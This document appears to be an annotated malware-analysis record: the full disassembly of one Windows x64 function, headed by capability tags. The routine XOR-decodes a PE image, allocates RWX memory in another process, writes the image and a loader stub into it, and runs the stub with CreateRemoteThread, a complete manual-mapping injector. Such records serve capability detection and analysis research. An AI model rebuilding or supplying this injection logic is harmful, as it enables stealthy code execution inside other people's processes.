Function at 0x1400033e0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x160
mov rax, qword [0x140018010]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x48], 0
mov rax, qword [rsp + 0x178]
movzx eax, word [rax]
mov dword [rsp + 0xa0], eax
mov edx, dword [rsp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rax, qword [rsp + 0x178]
movzx eax, word [rax]
mov dword [rsp + 0x54], 0
jmp 0x14000347d
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
movsxd rax, dword [rsp + 0x54]
cmp rax, qword [rsp + 0x180]
jae 0x1400034b2
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x178]
movzx eax, byte [rcx + rax]
xor eax, 0x4d
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x178]
mov byte [rdx + rcx], al
jmp 0x140003473
xor r9d, r9d
mov r8d, 0x40
mov edx, pe_nt_image_headers64
lea rcx, [fcn.1400033e0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x178]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x178]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
add rax, 0x18
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x58]
add rax, 4
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
movzx eax, word [rax]
cmp eax, 0x8664
je 0x140003527
xor al, al
jmp 0x140003e93
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140003567
xor al, al
jmp 0x140003e93
mov dword [rsp + 0x144], 0
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax + 0x38]
lea rcx, [rsp + 0x144]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov r8d, eax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rsp + 0xc0]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xc0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xc8], rax
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xd8], rax
mov eax, dword [rsp + 0x1a8]
mov dword [rsp + 0xe8], eax
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xf0], rax
movzx eax, byte [rsp + 0x1a0]
mov dword [rsp + 0xf8], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rsp + 0x178]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140003672
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140003e93
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x70], 0
jmp 0x1400036ac
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x88]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x70], eax
je 0x140003747
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x10], 0
je 0x140003742
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x178]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x40]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x48]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140003742
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140003e93
jmp 0x140003694
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x40
xor edx, edx
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x14000379b
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140003e93
mov qword [rsp + 0x20], 0
mov r9d, 0x40
lea r8, [rsp + 0xc0]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140003808
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140003e93
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x140003878
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140003e93
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
lea r8, [0x1400040f0]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140003900
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140003e93
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0xb0], rax
mov edx, 2
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
cmp qword [rsp + 0xb0], 0
jne 0x1400039b4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140003e93
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x98], 0
cmp qword [rsp + 0x98], 0
jne 0x140003ad9
mov dword [rsp + 0x140], 0
lea rdx, [rsp + 0x140]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rsp + 0x140], 0x103
je 0x140003a12
xor al, al
jmp 0x140003e93
lea rax, [rsp + 0x100]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
mov r9d, 0x40
lea r8, [rsp + 0x100]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0x404040
jne 0x140003ac9
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140003e93
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400039ce
mov al, 1
jmp 0x140003e93
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140010ca0
add rsp, 0x160
pop rdi
ret